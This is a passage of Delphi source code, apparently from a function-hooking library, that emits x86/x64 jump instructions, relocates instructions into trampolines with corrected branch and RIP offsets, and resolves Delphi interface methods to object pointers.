Int8(Offset);\n      end;\n    JT_REL16:\n      begin\n{$IFDEF CPUX64}\n        {\n          JMP Rel16\n          ==> Not supported on x64!\n        }\n        raise InterceptException.Create(SErrorInvalidJmp64);\n{$ENDIF CPUX64}\n        PByte(Src)^ := opPrfOpSize;\n        Inc(Src);\n        PByte(Src)^ := opJmpRelz;\n        Inc(Src);\n        PInt16(Src)^ := Int16(Offset);\n      end;\n    JT_REL32:\n      begin\n        PByte(Src)^ := opJmpRelz;\n        Inc(Src);\n        PInt32(Src)^ := Offset;\n      end;\n    JT_MEM16:\n      begin\n{$IFDEF CPUX64}\n        {\n          JMP WORD [012345]\n          ==> Not supported on x64!\n        }\n        raise InterceptException.Create(SErrorInvalidJmp64);\n{$ENDIF CPUX64}\n        if not Assigned(DstSave) then\n          raise InterceptException.Create(SErrorInvalidDstSave);\n        PByte(Src)^ := opPrfOpSize;\n        Inc(Src);\n        PWord(Src)^ := opJmpMem;\n        Inc(Src, 2);\n        PUInt32(Src)^ := UInt32(DstSave);\n        PUInt16(DstSave)^ := UInt16(Dst);\n      end;\n    JT_MEM32:\n      begin\n{$IFDEF CPUX64}\n        {\n          JMP DWORD [012345]\n          ==> Not supported on x64!\n        }\n        raise InterceptException.Create(SErrorInvalidJmp64);\n{$ENDIF CPUX64}\n        if not Assigned(DstSave) then\n          raise InterceptException.Create(SErrorInvalidDstSave);\n        PWord(Src)^ := opJmpMem;\n        Inc(Src, 2);\n        PUInt32(Src)^ := UInt32(DstSave);\n        PUInt32(DstSave)^ := UInt32(Dst);\n      end;\n    JT_MEM64:\n      begin\n{$IFDEF CPUX86}\n        {\n          JMP QWORD [0123456789]\n          ==> Not supported on x32!\n        }\n        raise InterceptException.Create(SErrorInvalidJmp32);\n{$ENDIF CPUX86}\n        if not Assigned(DstSave) then\n          raise InterceptException.Create(SErrorInvalidDstSave);\n        { RIP Disp ! }\n        PUInt64(DstSave)^ := UInt64(Dst);\n        Offset := NativeInt(NativeInt(DstSave) - NativeInt(Src)) - JmpSize;\n\n        PWord(Src)^ := opJmpMem;\n        Inc(Src, 2);\n        PInt32(Src)^ := Offset;\n      end;\n    JT_RIPZ:\n      begin\n{$IFDEF CPUX86}\n        raise InterceptException.Create(SErrorInvalidJmp32);\n{$ENDIF CPUX86}\n        {\n          This is the most harder way to insert a jump !\n          Why ?\n          because we are going to mix code & data !\n          Thats mean when disassembling instructions after\n          this branch .. you will have a corrupted dissambled\n          structure !\n\n          The only way to detect this kind of jmp is:\n          to use fDecodeInst rather than DecodeInst routine .\n\n          ==> We should avoid using this kind of jmp\n          in the original target proc .\n\n          ==> It's Ok to use in others situation .\n        }\n\n        PWord(Src)^ := opJmpMem;\n        Inc(Src, 2);\n        PInt32(Src)^ := $00;\n        Inc(Src, 4);\n        PUInt64(Src)^ := UInt64(Dst);\n      end;\n  end;\nend;\n\nfunction GetJmpType(Src, Dst, DstSave: PByte): Integer;\nvar\n  Offset: NativeInt;\n  OffsetSize: Integer;\nbegin\n  Offset := NativeInt(NativeInt(Src) - NativeInt(Dst));\n  OffsetSize := GetInt64Size(Offset);\n  Result := SizeToJmpType[OffsetSize shr 1];\n{$IFDEF CPUX64}\n  if Result = JT_MEM64 then\n  begin\n    if not Assigned(DstSave) then\n      raise InterceptException.Create(SErrorInvalidDstSave);\n    Offset := NativeInt(NativeInt(DstSave) - NativeInt(Src)) - 7;\n    if Integer(Offset) <> Offset then\n    begin\n      Result := (JT_RIPZ);\n      Exit;\n    end;\n  end;\n{$ENDIF CPUX64}\nend;\n\nfunction IsMultiBytesNop(P: Pointer; Size: Integer): Boolean;\nvar\n  i: Integer;\nbegin\n  Result := False;\n  if Size > 0 then\n  begin\n    while (Size > 0) do\n    begin\n      for i := Length(MultiNops) downto 1 do\n      begin\n        if Size >= i then\n        begin\n          Result := CompareMem(MultiNops[i - 1], P, i);\n          if Result then\n          begin\n            Inc(PByte(P), i);\n            Dec(Size, i);\n            break;\n          end;\n        end;\n      end;\n      if not Result then\n        Exit;\n    end;\n    Result := True;\n  end;\nend;\n\nprocedure FillMultiNop(var Buffer; Size: Integer);\nvar\n  i: Integer;\n  P: PByte;\nbegin\n  { Multi Bytes Nop Instruction is fast to execute compared to\n    the traditional NOP instruction.\n\n    However it's not supported by all CPU !\n    ==> Use FillNop(P,Size,True).\n\n    ==> CPUID implements a routine to detect\n    if the CPU supports Multi Bytes Nop .\n  }\n  if not(iMultiNop in CPUInsts) then\n    raise InterceptException.Create(SErrorUnsupportedMultiNop);\n\n  P := PByte(@Buffer);\n  for i := Length(MultiNops) downto 1 do\n  begin\n    while Size >= i do\n    begin\n      Move(MultiNops[i - 1]^, P^, i);\n      Dec(Size, i);\n      Inc(P, i);\n    end;\n    if Size = 0 then\n      Exit;\n  end;\nend;\n\nfunction IsNop(P: PByte; Size: Integer): Boolean;\nvar\n  i: Integer;\nbegin\n  { Return True if the first instructions are nop/multi nop. }\n  Result := False;\n  if iMultiNop in CPUInsts then\n    Result := IsMultiBytesNop(P, Size)\n  else\n    for i := 0 to Size - 1 do\n    begin\n      Result := (P^ = opNop);\n      if not Result then\n        Exit;\n      Inc(P); // Next Byte.\n    end;\nend;\n\nprocedure FillNop(var P; Size: Integer; MultipleNop: Boolean);\nbegin\n  if MultipleNop and (iMultiNop in CPUInsts) then\n    FillMultiNop(P, Size)\n  else\n    FillChar(P, Size, opNop);\nend;\n\nfunction GetPrefixesCount(Prefixes: WORD): Byte;\nvar\n  Prf: WORD;\n  i: Byte;\nbegin\n  { Get prefixes count used by the instruction. }\n  Result := 0;\n  if Prefixes = 0 then\n    Exit;\n\n  Prf := 0;\n  i := 0;\n  Prefixes := Prefixes and not Prf_VEX;\n  while Prf < $8000 do\n  begin\n    Prf := (1 shl i);\n    if (Prf and Prefixes = Prf) then\n      Inc(Result);\n    Inc(i);\n  end;\nend;\n\nfunction GetInstOpCodes(PInst: PInstruction; P: PByte): ShortInt;\nvar\n  nPrfs: Byte;\nbegin\n  {\n    Return opcodes length\n    Instruction OpCodes in arg P  .\n  }\n  Result := 0;\n  FillChar(P^, MAX_INST_LENGTH_N, $90);\n  nPrfs := GetPrefixesCount(PInst^.Prefixes);\n  Inc(Result, nPrfs);\n  case PInst^.OpTable of\n    tbTwoByte:\n      if PInst^.Prefixes and Prf_VEX3 = 0 then\n        Inc(Result); // $0F\n    tbThreeByte:\n      begin\n        if PInst^.Prefixes and Prf_VEX3 = 0 then\n          Inc(Result, 2); // 0F + 38|3A !\n      end;\n    tbFPU:\n      Inc(Result, 2); // [$D8..$D9] + ModRm !\n  end;\n  if PInst^.Prefixes and Prf_Vex2 <> 0 then\n    Inc(Result); // VEX.P0\n  if PInst^.Prefixes and Prf_VEX3 <> 0 then\n    Inc(Result, 2); // VEX.P0 + VEX.P1\n  if PInst^.OpKind = kGrp then\n    Inc(Result, 2) // Group + ModRm\n  else\n    Inc(Result); // OpCode\n  if Assigned(P) then\n    Move(PInst^.Addr^, P^, Result);\nend;\n\nfunction GetJccOpCode(PInst: PInstruction; RelSize: Integer): DWORD;\nvar\n  OpCode: Byte;\n  Opcodes: array [0 .. 3] of Byte;\nbegin\n  FillChar(PByte(@Opcodes[0])^, 4, #00);\n  OpCode := PInst^.OpCode and $F;\n  case RelSize of\n    ops8bits:\n      begin\n        Opcodes[0] := $70 or OpCode;\n      end;\n    ops16bits:\n      begin\n        Opcodes[0] := opPrfOpSize;\n        Opcodes[1] := $0F;\n        Opcodes[2] := $80 or OpCode;\n      end;\n    ops32bits:\n      begin\n        Opcodes[0] := $0F;\n        Opcodes[1] := $80 or OpCode;\n      end;\n  end;\n  Result := PDWORD(@Opcodes[0])^;\nend;\n\nfunction CorrectJ(PInst: PInstruction; NewAddr: PByte): Integer;\nconst\n  { Convert LOOP instruction to relative word jcc ! }\n  LOOP_To_JccZ: array [0 .. 3] of WORD = ($850F, $840F, $840F, $9090);\n  { Convert LOOP instruction to relative byte jcc ! }\n  LOOP_To_JccB: array [0 .. 3] of Byte = ($75, $74, $75, $90);\nvar\n  Offset: Int64;\n  POpc: PByte;\n  NOpc: DWORD;\n  PQ: PByte;\n  Relsz: Integer;\n  JmpType: Integer;\n  JmpSize: Integer;\nbegin\n  PQ := NewAddr;\n  JmpSize := 0;\n  GetMem(POpc, MAX_INST_LENGTH_N + 1);\n  try\n    // Opcsz := GetInstOpCodes(PInst, POpc);\n    Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6);\n    Relsz := GetInt64Size(Offset);\n{$IFDEF CPUX64}\n    if Relsz = ops16bits then\n      Relsz := ops32bits;\n{$ENDIF CPUX64}\n    if PInst^.OpType and otJcc = 0 then\n    begin\n      { Not Jcc ! }\n      if PInst^.OpCode in [$E0 .. $E2] then\n      begin\n        { LOOPNE/LOOPZ/LOOP }\n        if Relsz = ops8bits then\n        begin\n          if PInst^.Prefixes and Prf_AddrSize <> 0 then\n          begin\n            PQ^ := opPrfAddrSize;\n            Inc(PQ);\n          end;\n          PQ^ := PInst^.OpCode;\n          Inc(PQ);\n          PQ^ := Int8(Offset);\n          Inc(PQ);\n        end\n        else\n          case PInst^.AddrMode of\n            am16:\n              begin\n                { Dec CX ! }\n{$IFDEF CPUX64}\n                { . $49 result in REX\n                  ==> Use $FF group !\n                }\n                PQ^ := opPrfOpSize;\n                Inc(PQ);\n                PQ^ := $FF;\n                Inc(PQ);\n                PQ^ := $C9;\n                Inc(PQ);\n{$ELSE !CPUX64}\n                PQ^ := opPrfOpSize;\n                Inc(PQ);\n                PQ^ := $49;\n                Inc(PQ);\n{$ENDIF CPUX64}\n              end;\n            am32:\n              begin\n                { Dec ECX ! }\n{$IFDEF CPUX64}\n                PQ^ := $FF;\n                Inc(PQ);\n                PQ^ := $C9;\n                Inc(PQ);\n{$ELSE !CPUX64}\n                PQ^ := $49;\n                Inc(PQ);\n{$ENDIF CPUX64}\n              end;\n            am64:\n              begin\n                { Dec RCX ! }\n                PQ^ := $48; // REX.W = True !\n                Inc(PQ);\n                PQ^ := $FF;\n                Inc(PQ);\n                PQ^ := $C9;\n                Inc(PQ);\n              end;\n          end;\n        case Relsz of\n          ops16bits:\n            begin\n              Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 5);\n              PQ^ := opPrfOpSize;\n              Inc(PQ);\n              PWord(PQ)^ := LOOP_To_JccZ[PInst^.OpCode and 3];\n              Inc(PQ, 2);\n              PInt16(PQ)^ := Int16(Offset);\n              Inc(PQ, 2);\n            end;\n          ops32bits:\n            begin\n              Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6);\n              PWord(PQ)^ := LOOP_To_JccZ[PInst^.OpCode and 3];\n              Inc(PQ, 2);\n              PInt32(PQ)^ := Int32(Offset);\n              Inc(PQ, 4);\n            end;\n          ops64bits:\n            begin\n              {\n                Dec RCX\n                Jcc @Tmp\n                Jmp @NextInst\n                @Tmp:\n                Jmp @LoopDst\n              }\n              { Insert Jcc ! }\n              PQ^ := LOOP_To_JccB[PInst^.OpCode and 3];\n              Inc(PQ);\n              PQ^ := 2;\n              Inc(PQ);\n              { Insert Jmp NextInst }\n              PQ^ := opJmpRelb;\n              Inc(PQ);\n              PQ^ := 14;\n              Inc(PQ);\n              { Insert Jmp @LoopDst }\n              InsertJmp(PQ, PInst.Branch.Target, JT_RIPZ);\n              Inc(PQ, 14);\n            end;\n        end;\n      end\n      else if PInst^.OpCode = $E3 then\n      begin\n        { JCXZ/JECX/JRCX }\n        if Relsz = ops8bits then\n        begin\n          if PInst^.Prefixes and Prf_AddrSize <> 0 then\n          begin\n            PQ^ := opPrfAddrSize;\n            Inc(PQ);\n          end;\n          PQ^ := PInst^.OpCode;\n          Inc(PQ);\n          PQ^ := Int8(Offset);\n          Inc(PQ);\n        end\n        else\n          case PInst^.AddrMode of\n            am16:\n              begin\n                { TEST CX,CX }\n                PQ^ := opPrfOpSize;\n                Inc(PQ);\n                PQ^ := opTestb;\n                Inc(PQ);\n                PQ^ := $C9; // ModRm [Mod = 3; Reg = Rm = CX = 1]\n                Inc(PQ);\n              end;\n            am32:\n              begin\n                { TEST ECX,ECX }\n                PQ^ := opTestb;\n                Inc(PQ);\n                PQ^ := $C9;\n                Inc(PQ);\n              end;\n            am64:\n              begin\n                { TEST RCX,RCX }\n                PQ^ := $48; // REX.W = True !\n                Inc(PQ);\n                PQ^ := opTestb;\n                Inc(PQ);\n                PQ^ := $C9;\n                Inc(PQ);\n              end;\n          end;\n        case Relsz of\n          ops16bits:\n            begin\n              {\n                TEST CX,CX\n                JZ @Dst\n              }\n              Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 5);\n              PQ^ := opPrfOpSize;\n              Inc(PQ);\n              PQ^ := $0F;\n              Inc(PQ);\n              PQ^ := $84; // JZ !\n              Inc(PQ);\n              PInt16(PQ)^ := Int16(Offset);\n              Inc(PQ, 2);\n            end;\n          ops32bits:\n            begin\n              {\n                TEST ECX,ECX\n                JZ @Dst\n              }\n              Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6);\n              PQ^ := $0F;\n              Inc(PQ);\n              PQ^ := $84; // JZ !\n              Inc(PQ);\n              PInt32(PQ)^ := Int32(Offset);\n              Inc(PQ, 4);\n            end;\n          ops64bits:\n            begin\n              {\n                TEST RCX,RCX\n                JZ @Tmp\n                Jmp @NextInst\n                @Tmp:\n                Jmp @Dst\n              }\n              { Insert JZ ! }\n              PQ^ := $74;\n              Inc(PQ);\n              PQ^ := 2;\n              Inc(PQ);\n              { Insert Jmp NextInst }\n              PQ^ := opJmpRelb;\n              Inc(PQ);\n              PQ^ := 14;\n              Inc(PQ);\n              { Insert Jmp @Dst }\n              InsertJmp(PQ, PInst.Branch.Target, JT_RIPZ);\n              Inc(PQ, 14);\n            end;\n        end;\n      end;\n    end\n    else\n    begin\n      { Jcc ! }\n      NOpc := GetJccOpCode(PInst, Relsz);\n      case Relsz of\n        ops8bits:\n          begin\n            Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 2);\n            PInt8(PQ)^ := UInt8(NOpc);\n            Inc(PQ);\n            PInt8(PQ)^ := Int8(Offset);\n            Inc(PQ);\n          end;\n        ops16bits:\n          begin\n            Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 5);\n            PUInt32(PQ)^ := UInt32(NOpc);\n            Inc(PQ, 3);\n            PInt16(PQ)^ := Int16(Offset);\n            Inc(PQ, 2);\n          end;\n        ops32bits:\n          begin\n            Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6);\n            PUInt16(PQ)^ := UInt16(NOpc);\n            Inc(PQ, 2);\n            PInt32(PQ)^ := Int32(Offset);\n            Inc(PQ, 4);\n          end;\n        ops64bits:\n          begin\n            {\n              Unfortunately there is no Jcc Rel 64bits !\n\n              ===>Original implementation<===\n              test eax,eax\n              jz @DstAddr\n\n              ===>New implementation<===\n              test eax,eax\n              Q:      jz @tmp\n              Q+2:    jmp @NextInst\n              Q+4:    @tmp:\n              Q+4:    jmp @DstAddr\n              Q+4+jmpsize:        [DstAddr]\n              @NextInstruction:\n            }\n\n            { jz @tmp is guaranteed to be 2 Bytes in length ! }\n            { Trampo.NextInstruction = Q + 4 + jmp @DstAddr Size }\n            PQ^ := PInst^.OpCode;\n            Inc(PQ);\n            PQ^ := 2;\n            Inc(PQ);\n            JmpType := GetJmpType(PByte(NativeInt(NewAddr) + 4), PInst^.Branch.Target, PByte(NativeInt(NewAddr) + 4 + 6));\n            JmpSize := JmpTypeToSize[JmpSize];\n            if JmpType > JT_REL32 then\n              Inc(JmpSize, SizeOf(Pointer));\n\n            { Jmp To Next Valid Instruction ! }\n            PQ^ := opJmpRelb;\n            Inc(PQ);\n            PQ^ := JmpSize;\n            Inc(PQ);\n            InsertJmp(PByte(NativeInt(NewAddr) + 4), PInst^.Branch.Target, JmpType, PByte(NativeInt(NewAddr) + 4 + 6));\n            Inc(PQ, JmpSize);\n          end;\n      end;\n    end;\n  finally\n    FreeMem(POpc);\n  end;\n  Result := Integer(NativeInt(PQ) - NativeInt(NewAddr));\n  if Result = 00 then\n  begin\n    Move(PInst^.Addr^, NewAddr^, PInst^.InstSize);\n    Result := PInst^.InstSize;\n  end;\nend;\n\nfunction MakeModRm(iMod, Reg, Rm: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}\nbegin\n  Result := (iMod shl 6) or (Reg shl 3) or (Rm);\nend;\n\nfunction CorrectRipDisp(PInst: PInstruction; NewAddr: PByte): Integer;\nvar\n  Offset: Int64;\n  P: PByte;\n  rReg: Byte;\n  POpc: PByte;\n  pMR: PByte;\n  pFrst: PByte;\n  L: ShortInt;\nbegin\n  pFrst := NewAddr;\n  P := PInst^.NextInst;\n  {\n    If AddressMode is 32-bits :\n    ===> EIP + Disp32 !\n    else\n    If AddressMode is 64-bits:\n    ===> RIP + Disp32 !\n  }\n  if PInst^.AddrMode = am32 then\n    P := PByte(UInt64(P) and $FFFFFFFF);\n\n  P := PByte(Int64(P) + Int64(PInst^.Disp.Value));\n\n  Offset := Int64(Int64(P) - Int64(NewAddr) - PInst^.InstSize);\n  if Int32(Offset) <> Offset then\n  begin\n    rReg := rEAX;\n    if PInst^.ModRm.Flags and mfUsed <> 0 then\n    begin\n      Assert(PInst^.Disp.Flags and dfRip <> 0);\n      if PInst^.ModRm.Reg = rReg then\n        rReg := rECX;\n\n      { PUSH UsedReg }\n      PByte(NewAddr)^ := $50 + (rReg and $7);\n      Inc(NewAddr);\n\n{$IFDEF CPUX64}\n      PByte(NewAddr)^ := $48; // REX.W!\n      Inc(NewAddr);\n{$ENDIF CPUX64}\n      { MOV REG,Imm(NativeInt) }\n      PByte(NewAddr)^ := $B8 + (rReg and $7);\n      Inc(NewAddr);\n      PNativeInt(NewAddr)^ := NativeInt(P);\n      Inc(NewAddr, SizeOf(NativeInt));\n\n      { Set the original instruction opcodes }\n      POpc := GetMemory(MAX_INST_LENGTH_N);\n      L := GetInstOpCodes(PInst, POpc);\n\n      Move(POpc^, NewAddr^, L);\n      Inc(NewAddr, L);\n      pMR := NewAddr;\n      if (PInst^.OpKind and kGrp <> 0) or (PInst^.OpTable = tbFPU) then\n        Dec(pMR);\n\n      PByte(pMR)^ := MakeModRm($00, PInst^.ModRm.Reg, rReg);\n      Inc(pMR);\n      NewAddr := pMR;\n\n      { POP UsedReg }\n      PByte(NewAddr)^ := $58 + (rReg and $7);\n      Inc(NewAddr);\n\n      FreeMemory(POpc);\n      Result := (NativeInt(NewAddr) - NativeInt(pFrst));\n      Exit;\n    end\n    else\n      raise InterceptException.Create(SErrorRipDisp);\n  end;\n  Move(PInst^.Addr^, NewAddr^, PInst^.InstSize);\n  Inc(NewAddr, PInst^.InstSize);\n  PInt32(NativeInt(NewAddr) - SizeOf(Int32))^ := Int32(Offset);\n\n  Result := PInst^.InstSize;\nend;\n\nfunction CorrectJmpRel(PInst: PInstruction; NewAddr: PByte): Integer;\nvar\n  JmpType: Byte;\nbegin\n  JmpType := GetJmpType(NewAddr, PInst^.Branch.Target, PByte(NativeInt(NewAddr) + 6));\n  InsertJmp(NewAddr, PInst^.Branch.Target, JmpType, PByte(NativeInt(NewAddr) + 6));\n  Result := JmpTypeToSize[JmpType];\nend;\n\nfunction CorrectCallRel(PInst: PInstruction; NewAddr: PByte): Integer;\nvar\n  Offset: Int64;\n  Relsz: Byte;\n  P: PByte;\nbegin\n  P := NewAddr;\n  Offset := Int64(Int64(PInst^.Branch.Target) - Int64(P) - 6);\n  Relsz := GetInt64Size(Offset);\n{$IFDEF CPUX64}\n  { Only 32-bits relative offset is supported on x64! }\n  if Relsz < ops32bits then\n    Relsz := ops32bits;\n{$ELSE !CPUX64}\n  { Only 16/32-bits relative offset is supported on x32! }\n  if Relsz < ops16bits then\n    Relsz := ops32bits;\n{$ENDIF CPUX64}\n  case Relsz of\n    ops16bits:\n      begin\n        Offset := Int64(Int64(PInst^.Branch.Target) - Int64(P) - 4);\n        P^ := opPrfOpSize;\n        Inc(P);\n        P^ := $E8;\n        Inc(P);\n        PInt16(P)^ := Int16(Offset);\n        Inc(P, 2);\n      end;\n    ops32bits:\n      begin\n        Offset := Int64(Int64(PInst^.Branch.Target) - Int64(P) - 5);\n        P^ := $E8;\n        Inc(P);\n        PInt32(P)^ := Int32(Offset);\n        Inc(P, 4);\n      end;\n    ops64bits:\n      begin\n        {\n          64-bits Relative offset is not supported\n          ==> Map to a new opcode !\n        }\n        {\n          CALL [02]\n          Jmp @NextValidInstruction\n          dq : Call dst address !\n          @NextValidInstruction:\n\n        }\n        P^ := $FF; // Group 5 !\n        Inc(P);\n        {\n          ModRm.Mod = 00\n          ModRm.Reg = 02\n          ModRm.Rm = 05\n          ==> ModRm = $15 !\n        }\n        P^ := MakeModRm($00, $02, $05);\n        Inc(P);\n        P^ := 2;\n        Inc(P, 4);\n\n        { Jmp Next Instruction ! }\n        P^ := opJmpRelb;\n        Inc(P);\n        P^ := $08;\n        Inc(P);\n        PUInt64(P)^ := UInt64(PInst^.Branch.Target);\n        Inc(P, SizeOf(UInt64));\n      end;\n  end;\n  Result := NativeInt(P) - NativeInt(NewAddr);\n  if Result = 0 then\n  begin\n    Move(PInst^.Addr^, P^, PInst^.InstSize);\n    Result := PInst^.InstSize;\n  end;\nend;\n\nfunction MapInsts(Addr, NewAddr: PByte; Size: Integer): Integer;\nvar\n  P, Q: PByte;\n  PInst: PInstruction;\n  sz, iz, nz: Integer;\nbegin\n  { Map Data from Addr to NewAddr ! }\n  { This function will fix Relative offset & RIP displacement . }\n  Result := 0;\n  sz := 0;\n  P := Addr;\n  Q := NewAddr;\n  PInst := GetMemory(SizeOf(TInstruction));\n  FillChar(PInst^, SizeOf(TInstruction), #0);\n\n  PInst^.Archi := CPUX;\n  PInst^.NextInst := P;\n  PInst^.VirtualAddr := nil;\n\n  while sz < Size do\n  begin\n    PInst^.Addr := PInst^.NextInst;\n    iz := fDecodeInst(PInst);\n    nz := iz;\n    if PInst^.Disp.Flags and (dfUsed or dfRip) = (dfUsed or dfRip) then\n      nz := CorrectRipDisp(PInst, Q)\n    else if (PInst^.Branch.Falgs and bfRel = bfRel) then\n    begin\n      { Instruction use relative offset }\n      if (PInst^.OpType = otJMP) then\n        nz := CorrectJmpRel(PInst, Q)\n      else if (PInst^.OpType = otCALL) then\n        nz := CorrectCallRel(PInst, Q)\n      else\n        nz := CorrectJ(PInst, Q)\n    end\n    else\n      Move(PInst^.Addr^, Q^, nz);\n    Inc(Q, nz);\n    Inc(Result, nz);\n    Inc(sz, iz);\n  end;\n  FreeMemory(PInst);\nend;\n\n{$IFNDEF FPC}\n{$WARN COMPARISON_TRUE OFF}\n{$ENDIF FPC}\n\nfunction GetInstArithmeticType(PInst: PInstruction): Integer;\n  function IsInstAdd(PInst: PInstruction): Boolean;\n  begin\n    Result := False;\n    if PInst^.OpTable = tbOneByte then\n    begin\n      if (PInst^.OpCode >= $00) and (PInst^.OpCode < $06) then\n      begin\n        Result := (True);\n        Exit;\n      end;\n    end;\n    if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $00) then\n    begin\n      if (PInst^.OpCode > $7F) and (PInst^.OpCode < $84) then\n      begin\n        Result := (True);\n        Exit;\n      end;\n    end;\n  end;\n  function IsInstSub(PInst: PInstruction): Boolean;\n  begin\n    Result := False;\n    if PInst^.OpTable = tbOneByte then\n    begin\n      if (PInst^.OpCode > $27) and (PInst^.OpCode < $2E) then\n      begin\n        Result := (True);\n        Exit;\n      end;\n    end;\n    if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $05) then\n    begin\n      if (PInst^.OpCode > $7F) and (PInst^.OpCode < $84) then\n      begin\n        Result := (True);\n        Exit;\n      end;\n    end;\n  end;\n  function IsInstInc(PInst: PInstruction): Boolean;\n  begin\n    Result := False;\n    if (PInst^.Archi = CPUX32) and (PInst^.OpTable = tbOneByte) then\n    begin\n      if (PInst^.OpCode >= $40) and (PInst^.OpCode <= $47) then\n      begin\n        Result := (True);\n        Exit;\n      end;\n    end;\n    if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $00) then\n    begin\n      if (PInst^.OpCode = $FE) or (PInst^.OpCode = $FF) then\n      begin\n        Result := (True);\n        Exit;\n      end;\n    end;\n  end;\n  function IsInstDec(PInst: PInstruction): Boolean;\n  begin\n    Result := False;\n    if (PInst^.Archi = CPUX32) and (PInst^.OpTable = tbOneByte) then\n    begin\n      if (PInst^.OpCode >= $48) and (PInst^.OpCode <= $4F) then\n      begin\n        Result := (True);\n        Exit;\n      end;\n    end;\n    if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $01) then\n    begin\n      if (PInst^.OpCode = $FE) or (PInst^.OpCode = $FF) then\n      begin\n        Result := (True);\n        Exit;\n      end;\n    end;\n  end;\n\nbegin\n  { Return Instruction Arithmetic (+ or - or ..) }\n  Result := arNone;\n  if IsInstAdd(PInst) or IsInstInc(PInst) then\n    Result := (arAdd)\n  else if IsInstSub(PInst) or IsInstDec(PInst) then\n    Result := (arSub);\nend;\n{$IFNDEF FPC}\n{$WARN COMPARISON_TRUE ON}\n{$ENDIF FPC}\n\nfunction EvalArith(Arith: Integer; Value: NativeInt; Offset: NativeInt): NativeInt;\nbegin\n  Result := Value;\n  case Arith of\n    arAdd:\n      Inc(Result, Offset);\n    arInc:\n      Inc(Result);\n    arSub:\n      Dec(Result, Offset);\n    arDec:\n      Dec(Result);\n  end;\nend;\n\n{$HINTS OFF}\n\nfunction InterfaceToObj(const AIntf): TObject;\nconst\n  {\n    Delphi insert QueryInterface,_AddRef,_Release methods\n    as the last functions in the code entry.\n    => We must skip them to point to the first function declared in the interface.\n  }\n  Offset = SizeOf(Pointer) * 3;\n{$IFDEF CPUX64}\n  ObjReg = rECX;\n{$ELSE !CPUX64}\n  ObjReg = rEAX;\n{$ENDIF CPUX64}\nvar\n  Pvt, PCode: PByte;\n  Inst: TInstruction;\n  PObj: PByte;\n  imm: Int64;\n  Arith: Integer;\n  Skip: Boolean;\n  sReg: ShortInt;\nbegin\n\n  if not Assigned(@AIntf) then\n  begin\n    Result := nil;\n    Exit;\n  end;\n\n  sReg := -1;\n  PObj := PByte(AIntf);\n  FillChar(Inst, SizeOf(TInstruction), #00);\n  Inst.Archi := CPUX;\n  Pvt := PPointer(AIntf)^; // vTable !\n  PCode := PPointer(NativeInt(Pvt) + Offset)^; // Code Entry !\n  Inst.NextInst := PCode;\n  {\n    At the top of code entry delphi will generate :\n    int 3\n    add/sub eax/rcx,offset <===\n    jmp FirstFunction\n  }\n\n  while True do\n  begin\n    Inst.imm.Value := 0;\n    Inst.Addr := Inst.NextInst;\n    fDecodeInst(@Inst);\n    { Keep looping until JMP/RET ! }\n    if (Inst.Branch.Falgs and bfUsed <> 0) or (Inst.OpType = otRET) then\n      break;\n\n    Arith := GetInstArithmeticType(@Inst);\n    Skip := (Arith = arNone);\n\n    if not Skip then\n    begin\n{$IFDEF CPUX86}\n      if Inst.ModRm.iMod <> $03 then\n      begin\n        {\n          ====> stdcall ! <====\n          If the method (declared in interface)\n          calling convention is stdcall,\n          Delphi will generate :\n          add/sub [esp+offset],imm !\n        }\n        if Inst.Sib.Flags and sfUsed <> 0 then\n          sReg := Inst.Sib.Index\n        else\n          sReg := Inst.ModRm.Rm;\n        Skip := not(sReg = rESP);\n      end\n      else\n{$ENDIF CPUX86}\n      begin\n        if (Inst.ModRm.Flags and mfUsed <> 0) then\n          Skip := not((Inst.ModRm.iMod = $03) and (Inst.ModRm.Rm = ObjReg))\n        else if Arith in [arInc, arDec] then\n          { Is Inc/Dec EAX/RCX ? }\n          Skip := (Inst.OpCode and $07 <> ObjReg);\n      end;\n    end;\n\n    if not Skip then\n    begin\n      imm := Inst.imm.Value;\n      PObj := PByte(EvalArith(Arith, NativeInt(PObj), imm));\n    end;\n  end;\n\n  Result := TObject(PObj);\nend;\n\n{$HINTS ON}\n\nfunction GetInterfaceMethodPtrByIndex(const PInterface; MethodIndex: Integer): PByte;\nvar\n  Pvt: PPointer;\n  P: PPointer;\n  PDst: PByte;\n  Inst: TInstruction;\n  i: Integer;\nbegin\n  {\n    Return original method ptr\n    => Return first instruction that was\n    implemented on Interface object !\n  }\n  FillChar(Inst, SizeOf(TInstruction), #00);\n  Inst.Archi := CPUX;\n  Pvt := PPointer(PInterface)^; // Virtual Table !\n  P := Pvt;\n  Inc(P, MethodIndex);\n  P := PPointer(P)^;\n  PDst := PByte(P);\n  Inst.NextInst := PByte(P);\n  for i := 0 to 3 do\n  begin\n    Inst.Addr := Inst.NextInst;\n    fDecodeInst(@Inst);\n    if Assigned(Inst.Branch.Target) then\n    begin\n      PDst := Inst.Branch.Target;\n      break;\n    end;\n  end;\n  Result := PDst;\nend;\n\n{$IFDEF SUPPORTS_RTTI}\n\nfunction GetMethodPtrFromObjByName(Obj: TObject; const MethodName: String): Pointer;\nvar\n  LCtx: TRttiContext;\n  LType: TRttiType;\n  LMethods: TArray<TRttiMethod>;\n  LMethod: TRttiMethod;\nbegin\n  Result := nil;\n  if (not Assigned(Obj)) or (MethodName = EmptyStr) then\n    Exit;\n\n  LCtx := TRttiContext.Create;\n  LType := LCtx.GetType(Obj.ClassType);\n  LMethods := LType.GetMethods;\n  for LMethod in LMethods do\n  begin\n    if SameText(LMethod.Name, MethodName) then\n    begin\n      Result := LMethod.CodeAddress;\n      Exit;\n    end;\n  end;\nend;\n\nfunction GetInterfaceMethodPtrByName(const PInterface; const MethodName: String): PByte;\nvar\n  Obj: TObject;\nbegin\n  Result := nil;\n  if (not Assigned(@PInterface)) or (MethodName = EmptyStr) then\n    Exit;\n  Obj := InterfaceToObj(PInterface);\n  if Assigned(Obj) then\n  